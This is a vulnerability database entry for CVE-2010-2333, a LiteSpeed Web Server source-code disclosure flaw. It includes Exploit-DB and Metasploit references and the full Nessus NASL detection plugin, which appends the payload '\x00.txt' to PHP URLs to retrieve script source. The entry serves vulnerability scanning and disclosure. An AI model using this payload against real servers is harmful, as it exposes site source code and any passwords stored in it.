Vulnerabilities > CVE-2010-2333 - Information Exposure vulnerability in Litespeedtech Litespeed web Server

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
litespeedtech
CWE-200
nessus
exploit available
metasploit

Summary

LiteSpeed Technologies LiteSpeed Web Server 4.0.x before 4.0.15 allows remote attackers to read the source code of scripts via an HTTP request with a null byte followed by a .txt file extension.

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Subverting Environment Variable Values
    The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
  • Footprinting
    An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Browser Fingerprinting
    An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
  • Session Credential Falsification through Prediction
    This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

Exploit-Db

descriptionLitespeed Technologies Web Server Remote Poison null byte Exploit. CVE-2010-2333. Remote exploits for multiple platform
fileexploits/multiple/remote/13850.pl
idEDB-ID:13850
last seen2016-02-01
modified2010-06-13
platformmultiple
port80
published2010-06-13
reporterkingcope
sourcehttps://www.exploit-db.com/download/13850/
titleLitespeed Technologies Web Server Remote Poison null byte Exploit
typeremote

Metasploit

descriptionThis module exploits a source code disclosure/download vulnerability in versions 4.0.14 and prior of LiteSpeed.
idMSF:AUXILIARY/SCANNER/HTTP/LITESPEED_SOURCE_DISCLOSURE
last seen2020-05-23
modified2017-07-24
published2010-07-01
referenceshttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2333
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/http/litespeed_source_disclosure.rb
titleLiteSpeed Source Code Disclosure/Download

Nessus

NASL familyWeb Servers
NASL idLITESPEED_POISON_NULL_BYTE.NASL
descriptionThe installed version of the LiteSpeed web server software on the remote host returns the source of scripts hosted on it when a NULL byte and
last seen2020-06-01
modified2020-06-02
plugin id48246
published2010-08-04
reporterThis script is Copyright (C) 2010-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/48246
titleLiteSpeed Web Server Source Code Information Disclosure
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if (description)
{
  script_id(48246);
  script_version("1.13");
  script_cvs_date("Date: 2018/11/15 20:50:25");

  script_cve_id("CVE-2010-2333");
  script_bugtraq_id(40815);
  script_xref(name:"Secunia", value:"40128");

  script_name(english:"LiteSpeed Web Server Source Code Information Disclosure");
  script_summary(english:"Tries to read the source of a PHP script");
 
  script_set_attribute(
    attribute:"synopsis",
    value:
"The remote web server is affected by a source code disclosure
vulnerability."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"The installed version of the LiteSpeed web server software on the
remote host returns the source of scripts hosted on it when a NULL
byte and '.txt' is appended to the request URL. 

A remote attacker may be able to leverage this issue to view a file on
the web server's source code and possibly obtain passwords and other
sensitive information from this host."
  );

  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2010/Jun/288");
  # https://web.archive.org/web/20100618124103/http://www.litespeedtech.com/litespeed-web-server-release-log.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?07c5c34e");
  script_set_attribute(attribute:"solution", value:"Upgrade to LiteSpeed version 4.0.15 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2010/06/12");
  script_set_attribute(attribute:"patch_publication_date", value:"2010/06/13");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/08/04");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Web Servers");

  script_copyright(english:"This script is Copyright (C) 2010-2018 Tenable Network Security, Inc.");

  script_dependencies("http_version.nasl", "webmirror.nasl");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:80, php:TRUE);

# Unless we're paranoid, make sure the banner looks like LiteSpeed.
if (report_paranoia < 2)
{
  banner = get_http_banner(port:port);
  if (!banner) exit(1, "get_http_banner() returned NULL for port "+port+".");
  if ("Server: LiteSpeed" >!< banner) exit(0, "The Server response header is not from it's not LiteSpeed.");
}


# NB: check a couple of files in case some don't contain any PHP code
#     or include it in the generated output.
max_files = 5;
open_tag_pat = '<(\\?(php)? |% |script +language="php">)';
close_tag_pat = '(\\?|%|</script)>';

files = get_kb_list("www/"+port+"/content/extensions/php");
if (isnull(files)) files = make_list("/index.php");
else files = make_list(files);

n = 0;
foreach file (files)
{
  ++n;

  # Try to exploit the issue.
  payload = '\x00.txt';
  url = file + payload;

  res = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail:TRUE);

  # If it looks like source...
  if (
    "Content-Type: text/plain" >< res[1] &&
    res[2] && 
    egrep(pattern:open_tag_pat, string:res[2]) &&
    egrep(pattern:close_tag_pat, string:res[2])
  )
  {
    # Make sure it's not normally there.
    res2 = http_send_recv3(method:"GET", item:file, port:port, exit_on_fail:TRUE);
    if (
      res[2] && 
      !egrep(pattern:open_tag_pat, string:res2[2]) &&
      # nb: don't worry about '</script>' in regular response.
      !egrep(pattern:close_tag_pat-'|</script', string:res2[2])
    )
    {
      if (report_verbosity > 0)
      {
        report = 
          '\n' + "Nessus was able to retrieve the source of '" + file + "' using" +
          '\na specially crafted URL.\n';
        if (report_verbosity > 1)
        {
          report += '\nHere it is :\n' +
            crap(data:"-", length:30) + snip + crap(data:"-", length:30) + '\n' +
             res[2] +
            crap(data:"-", length:30) + snip + crap(data:"-", length:30) + '\n';
        }
        security_warning(port:port, extra:report);
      }
      else security_warning(port);

      exit(0);
    }
  }
  if (n > max_files) break;
}
exit(0, "The web server listening on port "+port+" does not seem to be affected.");